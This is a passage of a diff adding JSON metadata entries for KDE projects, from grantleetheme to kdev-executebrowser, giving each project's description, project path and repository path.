+ "grantleetheme": { + "description": "Library that provides Grantlee theme support", + "name": "grantleetheme", + "project_path": "kde/pim/grantleetheme", + "repo_path": "pim/grantleetheme" + }, + "gwenview": { + "description": "Image viewer by KDE", + "name": "gwenview", + "project_path": "kde/kdegraphics/gwenview", + "repo_path": "graphics/gwenview" + }, + "haruna": { + "description": "Open source video player built with Qt/QML and libmpv.", + "name": "haruna", + "project_path": "kde/kdemultimedia/haruna", + "repo_path": "multimedia/haruna" + }, + "hash-o-matic": { + "description": "Simple hash validator allowing to compare two files, generate the checksum of a file and verify if a hash matches a file.", + "name": "hash-o-matic", + "project_path": "kdereview/utils/hash-o-matic", + "repo_path": "utilities/hash-o-matic" + }, + "heaptrack": { + "description": "A heap memory profiler for Linux", + "name": "heaptrack", + "project_path": "extragear/sdk/heaptrack", + "repo_path": "sdk/heaptrack" + }, + "homebrew-kde": { + "description": "Homebrew formulas for building KDE software on macOS", + "name": "homebrew-kde", + "project_path": "playground/devtools/homebrew-kde", + "repo_path": "packaging/homebrew-kde" + }, + "homerun": { + "description": "An application launcher for KDE Plasma desktop", + "name": "homerun", + "project_path": "unmaintained/homerun", + "repo_path": "unmaintained/homerun" + }, + "ikona": { + "description": "Icon editing companion", + "name": "ikona", + "project_path": "extragear/sdk/ikona", + "repo_path": "sdk/ikona" + }, + "incidenceeditor": { + "description": "Library that provides calendar incidence editor", + "name": "incidenceeditor", + "project_path": "kde/pim/incidenceeditor", + "repo_path": "pim/incidenceeditor" + }, + "index-fm": { + "description": "Multi-platform file manager", + "name": "index-fm", + "project_path": "playground/base/index-fm", + "repo_path": "maui/index-fm" + }, + "inqlude-client": { + "description": "Command-line client for inqlude.org", + "name": "inqlude-client", + "project_path": "playground/sdk/inqlude-client", + "repo_path": "sdk/inqlude-client" + }, + "isoimagewriter": { + "description": "Program to write hybrid ISO files onto USB disks", + "name": "isoimagewriter", + "project_path": "extragear/utils/isoimagewriter", + "repo_path": "utilities/isoimagewriter" + }, + "itinerary": { + "description": "Itinerary and boarding pass management application", + "name": "itinerary", + "project_path": "kde/pim/itinerary", + "repo_path": "pim/itinerary" + }, + "jovie": { + "description": "Jovie is the KDE text to speech system application", + "name": "jovie", + "project_path": "unmaintained/jovie", + "repo_path": "unmaintained/jovie" + }, + "jsmoke": { + "description": "Smoke bindings for QtScript.", + "name": "jsmoke", + "project_path": "unmaintained/jsmoke", + "repo_path": "unmaintained/jsmoke" + }, + "juk": { + "description": "Audio jukebox app, supporting collections of MP3, Ogg Vorbis and FLAC audio files", + "name": "juk", + "project_path": "kde/kdemultimedia/juk", + "repo_path": "multimedia/juk" + }, + "jungle": { + "description": "Jungle is an absolutely awesome video player for managing your videos (movies, tvshows, etc)", + "name": "jungle", + "project_path": "playground/multimedia/jungle", + "repo_path": "unmaintained/jungle" + }, + "k3b": { + "description": "Full-featured CD/DVD/Blu-ray burning and ripping application", + "name": "k3b", + "project_path": "kde/kdemultimedia/k3b", + "repo_path": "multimedia/k3b" + }, + "kaccessible": { + "description": "kaccessible implements a QAccessibleBridgePlugin to provide accessibility services like focus tracking and a screenreader.", + "name": "kaccessible", + "project_path": "unmaintained/kaccessible", + "repo_path": "unmaintained/kaccessible" + }, + "kaccounts-integration": { + "description": "Online account management system and its Plasma integration components", + "name": "kaccounts-integration", + "project_path": "kde/kdenetwork/kaccounts-integration", + "repo_path": "network/kaccounts-integration" + }, + "kaccounts-mobile": { + "description": "Collection of things for KAccounts targeted for Plasma Mobile", + "name": "kaccounts-mobile", + "project_path": "playground/mobile/kaccounts-mobile", + "repo_path": "plasma-mobile/kaccounts-mobile" + }, + "kaccounts-providers": { + "description": "Online account providers for the KAccounts system", + "name": "kaccounts-providers", + "project_path": "kde/kdenetwork/kaccounts-providers", + "repo_path": "network/kaccounts-providers" + }, + "kactivitymanagerd": { + "description": "System service to manage user's activities, track the usage patterns etc.", + "name": "kactivitymanagerd", + "project_path": "kde/workspace/kactivitymanagerd", + "repo_path": "plasma/kactivitymanagerd" + }, + "kaddressbook": { + "description": "Address book application to manage your contacts", + "name": "kaddressbook", + "project_path": "kde/pim/kaddressbook", + "repo_path": "pim/kaddressbook" + }, + "kaffeine": { + "description": "Media player with support for digital television (DVB-C/S/S2/T, ATSC, CI/CAM)", + "name": "kaffeine", + "project_path": "extragear/multimedia/kaffeine", + "repo_path": "multimedia/kaffeine" + }, + "kaidan": { + "description": "Simple and user-friendly Jabber/XMPP client for every device and platform", + "name": "kaidan", + "project_path": "kdereview/kaidan", + "repo_path": "network/kaidan" + }, + "kairo": { + "description": "Programmable timer", + "name": "kairo", + "project_path": "playground/utils/kairo", + "repo_path": "utilities/kairo" + }, + "kajongg": { + "description": "Mah Jongg - the ancient Chinese board game for 4 players", + "name": "kajongg", + "project_path": "kde/kdegames/kajongg", + "repo_path": "games/kajongg" + }, + "kalarm": { + "description": "Application to manage alarms and other timer-based alerts on the desktop", + "name": "kalarm", + "project_path": "kde/pim/kalarm", + "repo_path": "pim/kalarm" + }, + "kalarmcal": { + "description": "Calendar support for KAlarm", + "name": "kalarmcal", + "project_path": "kde/pim/kalarmcal", + "repo_path": "pim/kalarmcal" + }, + "kalgebra": { + "description": "2D and 3D Graph Calculator", + "name": "kalgebra", + "project_path": "kde/kdeedu/kalgebra", + "repo_path": "education/kalgebra" + }, + "kalk": { + "description": "Kalk is a powerful cross-platform calculator application built with the [Kirigami framework](https://kde.org/products/kirigami/)", + "name": "kalk", + "project_path": "extragear/utils/kalk", + "repo_path": "utilities/kalk" + }, + "kalm": { + "description": "Kalm can teach you different breathing techniques.", + "name": "kalm", + "project_path": "kdereview/kalm", + "repo_path": "utilities/kalm" + }, + "kalternatives": { + "description": "Distribution alternatives configuration", + "name": "kalternatives", + "project_path": "playground/sysadmin/kalternatives", + "repo_path": "system/kalternatives" + }, + "kalzium": { + "description": "Periodic Table of Elements", + "name": "kalzium", + "project_path": "kde/kdeedu/kalzium", + "repo_path": "education/kalzium" + }, + "kamera": { + "description": "KDE integration for gphoto2 cameras", + "name": "kamera", + "project_path": "kde/kdegraphics/kamera", + "repo_path": "graphics/kamera" + }, + "kamoso": { + "description": "Application to take pictures and videos with your webcam", + "name": "kamoso", + "project_path": "kde/kdemultimedia/kamoso", + "repo_path": "multimedia/kamoso" + }, + "kanagram": { + "description": "Letter Order Game", + "name": "kanagram", + "project_path": "kde/kdeedu/kanagram", + "repo_path": "education/kanagram" + }, + "kanalytics": { + "description": "KAnalytics provides a library and a set of tools to analyze system information and upload it to KDE servers.", + "name": "kanalytics", + "project_path": "playground/utils/kanalytics", + "repo_path": "unmaintained/kanalytics" + }, + "kannasaver": { + "description": "A Screen Saver for Plasma showing Japanese Characters", + "name": "kannasaver", + "project_path": "unmaintained/kannasaver", + "repo_path": "unmaintained/kannasaver" + }, + "kapa": { + "description": "KDE Advanced Personal Assistant", + "name": "kapa", + "project_path": "playground/base/kapa", + "repo_path": "unmaintained/kapa" + }, + "kapidox": { + "description": "Frameworks API Documentation Tools", + "name": "kapidox", + "project_path": "frameworks/kapidox", + "repo_path": "frameworks/kapidox" + }, + "kapman": { + "description": "Kapman is a clone of the well known game Pac-Man", + "name": "kapman", + "project_path": "kde/kdegames/kapman", + "repo_path": "games/kapman" + }, + "kapptemplate": { + "description": "Factory for the easy creation of KDE/Qt components and programs", + "name": "kapptemplate", + "project_path": "kde/kdesdk/kapptemplate", + "repo_path": "sdk/kapptemplate" + }, + "karchive": { + "description": "Qt addon providing access to numerous types of archives", + "name": "karchive", + "project_path": "frameworks/karchive", + "repo_path": "frameworks/karchive" + }, + "kard": { + "description": "Memory-like game for kids", + "name": "kard", + "project_path": "playground/edu/kard", + "repo_path": "education/kard" + }, + "kartesio": { + "description": "Calculate best fit curves with experimental points using regression or neural networks", + "name": "kartesio", + "project_path": "playground/edu/kartesio", + "repo_path": "education/kartesio" + }, + "kasts": { + "description": "Kirigami-based podcast player", + "name": "kasts", + "project_path": "extragear/multimedia/kasts", + "repo_path": "multimedia/kasts" + }, + "kasync": { + "description": "C++ library for controlling asynchronous tasks", + "name": "kasync", + "project_path": "playground/libs/kasync", + "repo_path": "libraries/kasync" + }, + "kate": { + "description": "Modern text editor built on the KDE Frameworks and Qt", + "name": "kate", + "project_path": "kde/applications/kate", + "repo_path": "utilities/kate" + }, + "katomic": { + "description": "Katomic is a fun and educational game built around molecular geometry", + "name": "katomic", + "project_path": "kde/kdegames/katomic", + "repo_path": "games/katomic" + }, + "kaudiocreator": { + "description": "KAudioCreator is a program for ripping and encoding Audio-CDs, encoding files from disk.", + "name": "kaudiocreator", + "project_path": "unmaintained/kaudiocreator", + "repo_path": "unmaintained/kaudiocreator" + }, + "kauth": { + "description": "KAuth", + "name": "kauth", + "project_path": "frameworks/kauth", + "repo_path": "frameworks/kauth" + }, + "kbackup": { + "description": "Backup program with an easy-to-use interface", + "name": "kbackup", + "project_path": "kde/kdeutils/kbackup", + "repo_path": "utilities/kbackup" + }, + "kbibtex": { + "description": "An editor for bibliographies used with LaTeX", + "name": "kbibtex", + "project_path": "extragear/office/kbibtex", + "repo_path": "office/kbibtex" + }, + "kbibtex-testset": { + "description": "Testing data for KBibTex", + "name": "kbibtex-testset", + "project_path": "extragear/office/kbibtex-testset", + "repo_path": "office/kbibtex-testset" + }, + "kblackbox": { + "description": "KBlackBox is a game of hide and seek played on a grid of boxes", + "name": "kblackbox", + "project_path": "kde/kdegames/kblackbox", + "repo_path": "games/kblackbox" + }, + "kblocks": { + "description": "KBlocks is the classic falling blocks game", + "name": "kblocks", + "project_path": "kde/kdegames/kblocks", + "repo_path": "games/kblocks" + }, + "kblog": { + "description": "Support for reading various blog feeds", + "name": "kblog", + "project_path": "kde/pim/kblog", + "repo_path": "pim/kblog" + }, + "kbookmarks": { + "description": "KBookmarks", + "name": "kbookmarks", + "project_path": "frameworks/kbookmarks", + "repo_path": "frameworks/kbookmarks" + }, + "kbounce": { + "description": "KBounce is a single player arcade game with the elements of puzzle", + "name": "kbounce", + "project_path": "kde/kdegames/kbounce", + "repo_path": "games/kbounce" + }, + "kbreakout": { + "description": "KBreakOut is a Breakout-like game. Its objective is to destroy as many bricks as possible without losing the ball.", + "name": "kbreakout", + "project_path": "kde/kdegames/kbreakout", + "repo_path": "games/kbreakout" + }, + "kbruch": { + "description": "Practice Fractions", + "name": "kbruch", + "project_path": "kde/kdeedu/kbruch", + "repo_path": "education/kbruch" + }, + "kcachegrind": { + "description": "GUI to profilers such as Valgrind", + "name": "kcachegrind", + "project_path": "kde/kdesdk/kcachegrind", + "repo_path": "sdk/kcachegrind" + }, + "kcalc": { + "description": "Calculator offering everything a scientific calculator does, and more", + "name": "kcalc", + "project_path": "kde/kdeutils/kcalc", + "repo_path": "utilities/kcalc" + }, + "kcalendarcore": { + "description": "KCalendarCore - Library for Interfacing with Calendars", + "name": "kcalendarcore", + "project_path": "frameworks/kcalendarcore", + "repo_path": "frameworks/kcalendarcore" + }, + "kcalutils": { + "description": "Library to assist working with calendars", + "name": "kcalutils", + "project_path": "kde/pim/kcalutils", + "repo_path": "pim/kcalutils" + }, + "kcgroups": { + "description": "Library for easy access to running apps and their control groups resources", + "name": "kcgroups", + "project_path": "kdereview/kcgroups", + "repo_path": "libraries/kcgroups" + }, + "kcharselect": { + "description": "Tool to select and copy special characters from all installed fonts", + "name": "kcharselect", + "project_path": "kde/kdeutils/kcharselect", + "repo_path": "utilities/kcharselect" + }, + "kclock": { + "description": "Clock app for Plasma Mobile", + "name": "kclock", + "project_path": "extragear/utils/kclock", + "repo_path": "utilities/kclock" + }, + "kcm-grub2": { + "description": "KDE Control Module for configuring the GRUB bootloader", + "name": "kcm-grub2", + "project_path": "extragear/sysadmin/kcm-grub2", + "repo_path": "system/kcm-grub2" + }, + "kcm-userconfig": { + "description": "A System Settings module for managing users and groups on your system.", + "name": "kcm-userconfig", + "project_path": "playground/sysadmin/kcm-userconfig", + "repo_path": "unmaintained/kcm-userconfig" + }, + "kcmgrub2": { + "description": "Kcm module that manages the most common settings of grub2", + "name": "kcmgrub2", + "project_path": "playground/sysadmin/kcmgrub2", + "repo_path": "unmaintained/kcmgrub2" + }, + "kcmutils": { + "description": "Utilities for interacting with KCModules", + "name": "kcmutils", + "project_path": "frameworks/kcmutils", + "repo_path": "frameworks/kcmutils" + }, + "kcodecs": { + "description": "KCodecs provide a collection of methods to manipulate strings using various encodings", + "name": "kcodecs", + "project_path": "frameworks/kcodecs", + "repo_path": "frameworks/kcodecs" + }, + "kcolorchooser": { + "description": "A small utility to select a color", + "name": "kcolorchooser", + "project_path": "kde/kdegraphics/kcolorchooser", + "repo_path": "graphics/kcolorchooser" + }, + "kcoloredit": { + "description": "KDE Color Palette Editor", + "name": "kcoloredit", + "project_path": "unmaintained/kcoloredit", + "repo_path": "unmaintained/kcoloredit" + }, + "kcolorscheme": { + "description": "Classes to read and interact with KColorScheme", + "name": "kcolorscheme", + "project_path": "frameworks/kcolorscheme", + "repo_path": "frameworks/kcolorscheme" + }, + "kcompletion": { + "description": "KCompletion", + "name": "kcompletion", + "project_path": "frameworks/kcompletion", + "repo_path": "frameworks/kcompletion" + }, + "kconfig": { + "description": "KConfig", + "name": "kconfig", + "project_path": "frameworks/kconfig", + "repo_path": "frameworks/kconfig" + }, + "kconfigwidgets": { + "description": "Widgets for KConfig", + "name": "kconfigwidgets", + "project_path": "frameworks/kconfigwidgets", + "repo_path": "frameworks/kconfigwidgets" + }, + "kcontacts": { + "description": "KContacts - Library for working with contact information", + "name": "kcontacts", + "project_path": "frameworks/kcontacts", + "repo_path": "frameworks/kcontacts" + }, + "kcoreaddons": { + "description": "KCoreAddons", + "name": "kcoreaddons", + "project_path": "frameworks/kcoreaddons", + "repo_path": "frameworks/kcoreaddons" + }, + "kcrash": { + "description": "KCrash", + "name": "kcrash", + "project_path": "frameworks/kcrash", + "repo_path": "frameworks/kcrash" + }, + "kcron": { + "description": "Task scheduler by KDE", + "name": "kcron", + "project_path": "kde/kdeadmin/kcron", + "repo_path": "system/kcron" + }, + "kcwsh": { + "description": "This project provides a terminal wrapper, both abstracted and using a Qt based sample backend. It is used to make a windows port of konsole possible.", + "name": "kcwsh", + "project_path": "playground/base/kcwsh", + "repo_path": "unmaintained/kcwsh" + }, + "kdav": { + "description": "DAV protocol implementation with KJobs", + "name": "kdav", + "project_path": "frameworks/kdav", + "repo_path": "frameworks/kdav" + }, + "kdav2": { + "description": "DAV protocol implementation with KJobs", + "name": "kdav2", + "project_path": "playground/pim/kdav2", + "repo_path": "pim/kdav2" + }, + "kdb": { + "description": "Database connectivity and creation framework for various database vendors", + "name": "kdb", + "project_path": "extragear/libs/kdb", + "repo_path": "libraries/kdb" + }, + "kdbusaddons": { + "description": "KDBusAddons", + "name": "kdbusaddons", + "project_path": "frameworks/kdbusaddons", + "repo_path": "frameworks/kdbusaddons" + }, + "kde-artwork-active": { + "description": "Themes, wallpapers and splash screens for Plasma Active", + "name": "kde-artwork-active", + "project_path": "unmaintained/kde-artwork-active", + "repo_path": "unmaintained/kde-artwork-active" + }, + "kde-baseapps": { + "description": "Collection of applications used for file and Internet browsing.", + "name": "kde-baseapps", + "project_path": "unmaintained/kde-baseapps", + "repo_path": "unmaintained/kde-baseapps" + }, + "kde-build-metadata": { + "description": "DEPRECATED - CONTENT MOVED TO https://invent.kde.org/sysadmin/repo-metadata/-/tree/master/dependencies", + "name": "kde-build-metadata", + "project_path": "kde-build-metadata", + "repo_path": "sysadmin/kde-build-metadata" + }, + "kde-builder": { + "description": "Script to streamline the process of setting up and maintaining a development environment for KDE software.", + "name": "kde-builder", + "project_path": "playground/sdk/kde-builder", + "repo_path": "sdk/kde-builder" + }, + "kde-cli-tools": { + "description": "Tools based on KDE Frameworks 5 to better interact with the system", + "name": "kde-cli-tools", + "project_path": "kde/workspace/kde-cli-tools", + "repo_path": "plasma/kde-cli-tools" + }, + "kde-dev-scripts": { + "description": "Scripts and setting files useful during development of KDE software", + "name": "kde-dev-scripts", + "project_path": "kde/kdesdk/kde-dev-scripts", + "repo_path": "sdk/kde-dev-scripts" + }, + "kde-dev-utils": { + "description": "Small utilities for developers using KDE/Qt libs/frameworks", + "name": "kde-dev-utils", + "project_path": "kde/kdesdk/kde-dev-utils", + "repo_path": "sdk/kde-dev-utils" + }, + "kde-gtk-config": { + "description": "Syncs KDE settings to GTK applications", + "name": "kde-gtk-config", + "project_path": "kde/workspace/kde-gtk-config", + "repo_path": "plasma/kde-gtk-config" + }, + "kde-inotify-survey": { + "description": "Tooling for monitoring inotify limits and informing the user when they have been or about to be reached.", + "name": "kde-inotify-survey", + "project_path": "extragear/system/kde-inotify-survey", + "repo_path": "system/kde-inotify-survey" + }, + "kde-nomodeset": { + "description": "Safe Graphics Mode Startup Utility", + "name": "kde-nomodeset", + "project_path": "playground/base/kde-nomodeset", + "repo_path": "system/kde-nomodeset" + }, + "kde-now": { + "description": "Google Now alternative for the Plasma Desktop", + "name": "kde-now", + "project_path": "playground/base/kde-now", + "repo_path": "unmaintained/kde-now" + }, + "kde-ruleset": { + "description": "svn2git rules files and support scripts for KDE's SVN-to-Git migration", + "name": "kde-ruleset", + "project_path": "playground/sdk/kde-ruleset", + "repo_path": "sdk/kde-ruleset" + }, + "kde-runtime": { + "description": "Plugins and applications necessary for the running of KDE applications.", + "name": "kde-runtime", + "project_path": "unmaintained/kde-runtime", + "repo_path": "unmaintained/kde-runtime" + }, + "kde-vdg-extras": { + "description": "Colour schemes, avatars and other additional visual assets for KDE Software created by the KDE VDG", + "name": "kde-vdg-extras", + "project_path": "playground/artwork/kde-xdg-extras", + "repo_path": "plasma/kde-vdg-extras" + }, + "kde-workspace": { + "description": "Provides the interface and basic tools for the KDE workspace.", + "name": "kde-workspace", + "project_path": "kde/kde-workspace", + "repo_path": "unmaintained/kde-workspace" + }, + "kde1": { + "description": "Metamodule for the KDE 1 Release, adapted to run on modern systems", + "name": "kde1", + "project_path": "historical/kde1", + "repo_path": "historical/kde1" + }, + "kde1-kdeadmin": { + "description": "Historical copy of the admin applications module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdeadmin", + "project_path": "historical/kde1-kdeadmin", + "repo_path": "historical/kde1-kdeadmin" + }, + "kde1-kdebase": { + "description": "Historical copy of the base applications module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdebase", + "project_path": "historical/kde1-kdebase", + "repo_path": "historical/kde1-kdebase" + }, + "kde1-kdegames": { + "description": "Historical copy of the gaming applications module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdegames", + "project_path": "historical/kde1-kdegames", + "repo_path": "historical/kde1-kdegames" + }, + "kde1-kdegraphics": { + "description": "Historical copy of the graphics applications module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdegraphics", + "project_path": "historical/kde1-kdegraphics", + "repo_path": "historical/kde1-kdegraphics" + }, + "kde1-kdelibs": { + "description": "Historical copy of the libraries module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdelibs", + "project_path": "historical/kde1-kdelibs", + "repo_path": "historical/kde1-kdelibs" + }, + "kde1-kdemultimedia": { + "description": "Historical copy of the multimedia applications module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdemultimedia", + "project_path": "historical/kde1-kdemultimedia", + "repo_path": "historical/kde1-kdemultimedia" + }, + "kde1-kdenetwork": { + "description": "Historical copy of the network applications module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdenetwork", + "project_path": "historical/kde1-kdenetwork", + "repo_path": "historical/kde1-kdenetwork" + }, + "kde1-kdetoys": { + "description": "Historical copy of the toys module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdetoys", + "project_path": "historical/kde1-kdetoys", + "repo_path": "historical/kde1-kdetoys" + }, + "kde1-kdeutils": { + "description": "Historical copy of the utility applications module of KDE 1, adapted to compile on modern systems (circa. 2016)", + "name": "kde1-kdeutils", + "project_path": "historical/kde1-kdeutils", + "repo_path": "historical/kde1-kdeutils" + }, + "kde2": { + "description": "Metamodule for the KDE 2 Release, adapted to run on modern systems", + "name": "kde2", + "project_path": "historical/kde2", + "repo_path": "historical/kde2" + }, + "kde2-kdelibs": { + "description": "Historical copy of the libraries module of KDE 2, adapted to compile on modern systems (circa. 2018)", + "name": "kde2-kdelibs", + "project_path": "historical/kde2-kdelibs", + "repo_path": "historical/kde2-kdelibs" + }, + "kdeadmin-strigi-analyzers": { + "description": "Strigi analyzer for rpm files", + "name": "kdeadmin-strigi-analyzers", + "project_path": "unmaintained/kdeadmin-strigi-analyzers", + "repo_path": "unmaintained/kdeadmin-strigi-analyzers" + }, + "kdebugsettings": { + "description": "Application to choose which QLoggingCategory are displayed", + "name": "kdebugsettings", + "project_path": "kde/kdeutils/kdebugsettings", + "repo_path": "utilities/kdebugsettings" + }, + "kdeclarative": { + "description": "KDeclarative", + "name": "kdeclarative", + "project_path": "frameworks/kdeclarative", + "repo_path": "frameworks/kdeclarative" + }, + "kdeconnect-android": { + "description": "Native Android port of the KDE Connect Qt app", + "name": "kdeconnect-android", + "project_path": "extragear/network/kdeconnect-android", + "repo_path": "network/kdeconnect-android" + }, + "kdeconnect-ios": { + "description": "Native iOS port of KDE Connect", + "name": "kdeconnect-ios", + "project_path": "playground/network/kdeconnect-ios", + "repo_path": "network/kdeconnect-ios" + }, + "kdeconnect-kde": { + "description": "Multi-platform app that allows your devices to communicate", + "name": "kdeconnect-kde", + "project_path": "kde/kdenetwork/kdeconnect-kde", + "repo_path": "network/kdeconnect-kde" + }, + "kdeconnect-meta": { + "description": "Coordination for multi-platform applications that allows your devices to communicate", + "name": "kdeconnect-meta", + "project_path": "kde/kdenetwork/kdeconnect-meta", + "repo_path": "network/kdeconnect-meta" + }, + "kdecoration": { + "description": "Plugin-based library to create window decorations", + "name": "kdecoration", + "project_path": "kde/workspace/kdecoration", + "repo_path": "plasma/kdecoration" + }, + "kdecoration-viewer": { + "description": "Application that allows to preview a KDecoration plugin", + "name": "kdecoration-viewer", + "project_path": "playground/base/kdecoration-viewer", + "repo_path": "sdk/kdecoration-viewer" + }, + "kded": { + "description": "KDE Daemon", + "name": "kded", + "project_path": "frameworks/kded", + "repo_path": "frameworks/kded" + }, + "kdeedu-data": { + "description": "Shared icons, artwork and data files for educational applications", + "name": "kdeedu-data", + "project_path": "kde/kdeedu/kdeedu-data", + "repo_path": "education/kdeedu-data" + }, + "kdeexamples": { + "description": "A collection of coding examples that provide practical demonstrations of the usage of KDE libraries and app development infrastructure.", + "name": "kdeexamples", + "project_path": "unmaintained/kdeexamples", + "repo_path": "unmaintained/kdeexamples" + }, + "kdegraphics": { + "description": "Super-repository which holds the history of the kdegraphics toplevel files", + "name": "kdegraphics", + "project_path": "unmaintained/kdegraphics", + "repo_path": "unmaintained/kdegraphics" + }, + "kdegraphics-mobipocket": { + "description": "A collection of plugins to handle mobipocket files", + "name": "kdegraphics-mobipocket", + "project_path": "kde/kdegraphics/kdegraphics-mobipocket", + "repo_path": "graphics/kdegraphics-mobipocket" + }, + "kdegraphics-strigi-analyzer": { + "description": "Strigi analyzers for various graphics file formats", + "name": "kdegraphics-strigi-analyzer", + "project_path": "unmaintained/kdegraphics-strigi-analyzer", + "repo_path": "unmaintained/kdegraphics-strigi-analyzer" + }, + "kdegraphics-thumbnailers": { + "description": "Thumbnailers for various graphics file formats", + "name": "kdegraphics-thumbnailers", + "project_path": "kde/kdegraphics/kdegraphics-thumbnailers", + "repo_path": "graphics/kdegraphics-thumbnailers" + }, + "kdelibs": { + "description": "The KDE Library", + "name": "kdelibs", + "project_path": "unmaintained/kdelibs", + "repo_path": "unmaintained/kdelibs" + }, + "kdelibs4support": { + "description": "KDE 4 Support", + "name": "kdelibs4support", + "project_path": "frameworks/kdelibs4support", + "repo_path": "frameworks/kdelibs4support" + }, + "kdenetwork-filesharing": { + "description": "Samba file sharing plugin for file properties", + "name": "kdenetwork-filesharing", + "project_path": "kde/kdenetwork/kdenetwork-filesharing", + "repo_path": "network/kdenetwork-filesharing" + }, + "kdenetwork-strigi-analyzers": { + "description": "Analyzer plugins for Strigi", + "name": "kdenetwork-strigi-analyzers", + "project_path": "unmaintained/kdenetwork-strigi-analyzers", + "repo_path": "unmaintained/kdenetwork-strigi-analyzers" + }, + "kdenlive": { + "description": "Free and open source video editor, based on MLT Framework and KDE Frameworks 5", + "name": "kdenlive", + "project_path": "kde/kdemultimedia/kdenlive", + "repo_path": "multimedia/kdenlive" + }, + "kdenlive-opentimelineio": { + "description": "OpenTimelineIO Adapter for Kdenlive", + "name": "kdenlive-opentimelineio", + "project_path": "playground/multimedia/kdenlive-opentimelineio", + "repo_path": "multimedia/kdenlive-opentimelineio" + }, + "kdenlive-test-suite": { + "description": "Tooling, samples and other materials needed for testing Kdenlive functionality", + "name": "kdenlive-test-suite", + "project_path": "playground/multimedia/kdenlive-test-suite", + "repo_path": "multimedia/kdenlive-test-suite" + }, + "kdepim": { + "description": "KDE's Personal Information Management suite", + "name": "kdepim", + "project_path": "unmaintained/kdepim", + "repo_path": "unmaintained/kdepim" + }, + "kdepim-addons": { + "description": "Add-ons for KDE PIM apps (KMail, KAddressBook etc.)", + "name": "kdepim-addons", + "project_path": "kde/pim/kdepim-addons", + "repo_path": "pim/kdepim-addons" + }, + "kdepim-apps-libs": { + "description": "This module contains mail-related libraries", + "name": "kdepim-apps-libs", + "project_path": "kde/pim/kdepim-apps-libs", + "repo_path": "pim/kdepim-apps-libs" + }, + "kdepim-docker": { + "description": "Docker image for easy KDE PIM development", + "name": "kdepim-docker", + "project_path": "playground/pim/kdepim-docker", + "repo_path": "pim/kdepim-docker" + }, + "kdepim-runtime": { + "description": "Akonadi agents and resources", + "name": "kdepim-runtime", + "project_path": "kde/pim/kdepim-runtime", + "repo_path": "pim/kdepim-runtime" + }, + "kdepimlibs": { + "description": "KDE''s Personal Information Management Libraries", + "name": "kdepimlibs", + "project_path": "unmaintained/kdepimlibs", + "repo_path": "unmaintained/kdepimlibs" + }, + "kdeplasma-addons": { + "description": "All kind of add-ons to improve your Plasma experience", + "name": "kdeplasma-addons", + "project_path": "kde/workspace/kdeplasma-addons", + "repo_path": "plasma/kdeplasma-addons" + }, + "kdesdk-devenv-dependencies": { + "description": "Describes modules useful for development of KDE applications and Plasma", + "name": "kdesdk-devenv-dependencies", + "project_path": "playground/packaging/kdesdk-devenv-dependencies", + "repo_path": "packaging/kdesdk-devenv-dependencies" + }, + "kdesdk-kio": { + "description": "KIO workers useful for software development", + "name": "kdesdk-kio", + "project_path": "kde/kdesdk/kdesdk-kio", + "repo_path": "sdk/kdesdk-kio" + }, + "kdesdk-strigi-analyzers": { + "description": "Analyzer plugins for strigi", + "name": "kdesdk-strigi-analyzers", + "project_path": "unmaintained/kdesdk-strigi-analyzers", + "repo_path": "unmaintained/kdesdk-strigi-analyzers" + }, + "kdesdk-thumbnailers": { + "description": "Plugins for the thumbnailing system", + "name": "kdesdk-thumbnailers", + "project_path": "kde/kdesdk/kdesdk-thumbnailers", + "repo_path": "sdk/kdesdk-thumbnailers" + }, + "kdesignerplugin": { + "description": "KDesignerPlugin", + "name": "kdesignerplugin", + "project_path": "frameworks/kdesignerplugin", + "repo_path": "frameworks/kdesignerplugin" + }, + "kdesrc-build": { + "description": "Script to streamline setting up and maintaining KDE software development environment", + "name": "kdesrc-build", + "project_path": "extragear/utils/kdesrc-build", + "repo_path": "sdk/kdesrc-build" + }, + "kdesu": { + "description": "KDE Su", + "name": "kdesu", + "project_path": "frameworks/kdesu", + "repo_path": "frameworks/kdesu" + }, + "kdesudo": { + "description": "Sudo GUI", + "name": "kdesudo", + "project_path": "unmaintained/kdesudo", + "repo_path": "unmaintained/kdesudo" + }, + "kdesvn": { + "description": "Subversion client by KDE", + "name": "kdesvn", + "project_path": "extragear/sdk/kdesvn", + "repo_path": "sdk/kdesvn" + }, + "kdev-cargo": { + "description": "Cargo language support for KDevelop", + "name": "kdev-cargo", + "project_path": "unmaintained/kdev-cargo", + "repo_path": "unmaintained/kdev-cargo" + }, + "kdev-clang": { + "description": "Integrates Clang into KDevelop for C/C++/Objective-C language support.", + "name": "kdev-clang", + "project_path": "unmaintained/kdev-clang", + "repo_path": "unmaintained/kdev-clang" + }, + "kdev-clang-tidy": { + "description": "KDevelop plugin for clang-tidy static analysis support", + "name": "kdev-clang-tidy", + "project_path": "unmaintained/kdev-clang-tidy", + "repo_path": "unmaintained/kdev-clang-tidy" + }, + "kdev-control-flow-graph": { + "description": "KDevelop plugin that visualizes data from static code analysis in graphs", + "name": "kdev-control-flow-graph", + "project_path": "playground/devtools/plugins/kdev-control-flow-graph", + "repo_path": "kdevelop/kdev-control-flow-graph" + }, + "kdev-cppcheck": { + "description": "cppcheck support for kdevelop", + "name": "kdev-cppcheck", + "project_path": "unmaintained/kdev-cppcheck", + "repo_path": "unmaintained/kdev-cppcheck" + }, + "kdev-crossfire": { + "description": "KDevelop Debugger plugin for debugging JavaScript using crossfire", + "name": "kdev-crossfire", + "project_path": "unmaintained/kdev-crossfire", + "repo_path": "unmaintained/kdev-crossfire" + }, + "kdev-css": { + "description": "KDevelop plugin for CSS language support", + "name": "kdev-css", + "project_path": "playground/devtools/plugins/kdev-css", + "repo_path": "kdevelop/kdev-css" + }, + "kdev-embedded": { + "description": "Plugin for KDevelop to support the development of embedded systems", + "name": "kdev-embedded", + "project_path": "playground/devtools/plugins/kdev-embedded", + "repo_path": "kdevelop/kdev-embedded" + }, + "kdev-executebrowser": { + "description": "KDevelop plugin that starts a script in a web browser", + "name": "kdev-executebrowser", + "project_path": "playground/devtools/plugins/kdev-executebrowser", + "repo_path": 